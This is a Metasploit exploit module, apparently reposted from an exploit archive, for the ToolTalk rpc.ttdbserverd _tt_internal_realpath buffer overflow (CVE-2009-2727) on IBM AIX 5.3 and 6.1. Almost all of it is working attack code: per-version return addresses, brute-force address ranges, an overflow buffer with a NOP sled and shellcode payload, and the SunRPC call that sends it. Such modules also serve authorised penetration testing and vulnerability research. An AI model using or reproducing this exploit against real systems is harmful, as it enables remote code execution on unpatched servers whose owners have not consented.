ToolTalk – rpc.ttdbserverd _tt_internal_realpath Buffer Overflow (AIX) (Metasploit)
## # $Id: rpc_ttdbserverd_realpath.rb 10998 2010-11-11 22:43:22Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::SunRPC include Msf::Exploit::Brute def initialize(info = {}) super(update_info(info, 'Name' => 'ToolTalk rpc.ttdbserverd _tt_internal_realpath Buffer Overflow (AIX)', 'Description' => %q{ This module exploits a buffer overflow vulnerability in _tt_internal_realpath function of the ToolTalk database server (rpc.ttdbserverd). }, 'Author' => [ 'Adriano Lima <adriano@risesecurity.org>', 'ramon' ], 'Version' => '$Revision: 10998 $', 'Platform' => [ 'aix' ], 'References' => [ [ 'CVE', '2009-2727'], [ 'OSVDB', '55151' ] ], 'Payload' => { 'BadChars' => "\x00", }, 'Targets' => [ [ 'IBM AIX Version 6.1.4', { 'Arch' => 'ppc', 'Platform' => 'aix', 'Ret' => 0x20099430+4096, 'Addr1' => 0x2ff1ff50-8192, 'AIX' => '6.1.4', 'Bruteforce' => { 'Start' => { 'Ret' => 0x20099430-8192 }, 'Stop' => { 'Ret' => 0x20099430+8192 }, 'Step' => 1024 } } ], [ 'IBM AIX Version 6.1.3', { 'Arch' => 'ppc', 'Platform' => 'aix', 'Ret' => 0x20099280+4096, 'Addr1' => 0x2ff1ffd0-8192, 'AIX' => '6.1.3', 'Bruteforce' => { 'Start' => { 'Ret' => 0x20099280-8192 }, 'Stop' => { 'Ret' => 0x20099280+8192 }, 'Step' => 1024 } } ], [ 'IBM AIX Version 6.1.2', { 'Arch' => 'ppc', 'Platform' => 'aix', 'Ret' => 0x20099280+4096, 'Addr1' => 0x2ff1ffd0-8192, 'AIX' => '6.1.2', 'Bruteforce' => { 'Start' => { 'Ret' => 0x20099280-8192 }, 'Stop' => { 'Ret' => 0x20099280+8192 }, 'Step' => 1024 } } ], [ 'IBM AIX Version 6.1.1', { 'Arch' => 'ppc', 'Platform' => 'aix', 'Ret' => 0x20099280+4096, 'Addr1' => 0x2ff1ffd0-8192, 'AIX' => '6.1.1', 'Bruteforce' => { 'Start' => { 'Ret' => 0x20099280-8192 }, 'Stop' => { 'Ret' => 0x20099280+8192 }, 'Step' => 1024 } } ], [ 'IBM AIX Version 6.1.0', { 'Arch' => 'ppc', 'Platform' => 'aix', 'Ret' => 0x20099280+4096, 'Addr1' => 0x2ff1ffd0-8192, 'AIX' => '6.1.0', 'Bruteforce' => { 'Start' => { 'Ret' => 0x20099280-8192 }, 'Stop' => { 'Ret' => 0x20099280+8192 }, 'Step' => 1024 } } ], [ 'IBM AIX Version 5.3.10 5.3.9 5.3.8 5.3.7', { 'Arch' => 'ppc', 'Platform' => 'aix', 'Ret' => 0x20096ba0+4096, 'Addr1' => 0x2ff1ff14-8192, 'AIX' => '5.3.9', 'Bruteforce' => { 'Start' => { 'Ret' => 0x20096ba0-8192 }, 'Stop' => { 'Ret' => 0x20096ba0+8192 }, 'Step' => 1024 } } ], [ 'IBM AIX Version 5.3.10', { 'Arch' => 'ppc', 'Platform' => 'aix', 'Ret' => 0x20096bf0+4096, 'Addr1' => 0x2ff1ff14-8192, 'AIX' => '5.3.10', 'Bruteforce' => { 'Start' => { 'Ret' => 0x20096bf0-8192 }, 'Stop' => { 'Ret' => 0x20096bf0+8192 }, 'Step' => 1024 } } ], [ 'IBM AIX Version 5.3.9', { 'Arch' => 'ppc', 'Platform' => 'aix', 'Ret' => 0x20096ba0+4096, 'Addr1' => 0x2ff1ff14-8192, 'AIX' => '5.3.9', 'Bruteforce' => { 'Start' => { 'Ret' => 0x20096ba0-8192 }, 'Stop' => { 'Ret' => 0x20096ba0+8192 }, 'Step' => 1024 } } ], [ 'IBM AIX Version 5.3.8', { 'Arch' => 'ppc', 'Platform' => 'aix', 'Ret' => 0x20096c10+4096, 'Addr1' => 0x2ff1ff98-8192, 'AIX' => '5.3.8', 'Bruteforce' => { 'Start' => { 'Ret' => 0x20096c10-8192 }, 'Stop' => { 'Ret' => 0x20096c10+8192 }, 'Step' => 1024 } } ], [ 'IBM AIX Version 5.3.7', { 'Arch' => 'ppc', 'Platform' => 'aix', 'Ret' => 0x20096c10+4096, 'Addr1' => 0x2ff1ff98-8192, 'AIX' => '5.3.7', 'Bruteforce' => { 'Start' => { 'Ret' => 0x20096c10-8192 }, 'Stop' => { 'Ret' => 0x20096c10+8192 }, 'Step' => 1024 } } ], [ 'Debug IBM AIX Version 6.1', { 'Arch' => 'ppc', 'Platform' => 'aix', 'Ret' => 0xaabbccdd, 'Addr1' => 0xddccbbaa, 'AIX' => '6.1.4', 'Bruteforce' => { 'Start' => { 'Ret' => 0xaabbccdd }, 'Stop' => { 'Ret' => 0xaabbccdd }, 'Step' => 1024 } } ], [ 'Debug IBM AIX Version 5.3', { 'Arch' => 'ppc', 'Platform' => 'aix', 'Ret' => 0xaabbccdd, 'Addr1' => 0xddccbbaa, 'AIX' => '5.3.10', 'Bruteforce' => { 'Start' => { 'Ret' => 0xaabbccdd }, 'Stop' => { 'Ret' => 0xaabbccdd }, 'Step' => 1024 } } ], ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Jun 17 2009')) end def brute_exploit(brute_target) if not @aixpayload datastore['AIX'] = target['AIX'] @aixpayload = regenerate_payload.encoded end print_status("Trying to exploit rpc.ttdbserverd with address 0x%08x..." % brute_target['Ret']) begin sunrpc_create('tcp', 100083, 1) if target['AIX'] =~ /6\./ buf = "A" else buf = "AA" end buf << [target['Addr1']].pack('N') * (1022 + 8) buf << [brute_target['Ret']].pack('N') * 32 if target['AIX'] =~ /6\./ buf << "AAA" else buf << "AA" end buf << "\x7f\xff\xfb\x78" * 1920 buf << @aixpayload buf = XDR.encode(buf, 2, 0x78000000, 2, 0x78000000) print_status('Sending procedure 15 call message...') sunrpc_call(15, buf) sunrpc_destroy handler rescue Rex::Proto::SunRPC::RPCTimeout # print_error('RPCTimeout') rescue EOFError # print_error('EOFError') end end end |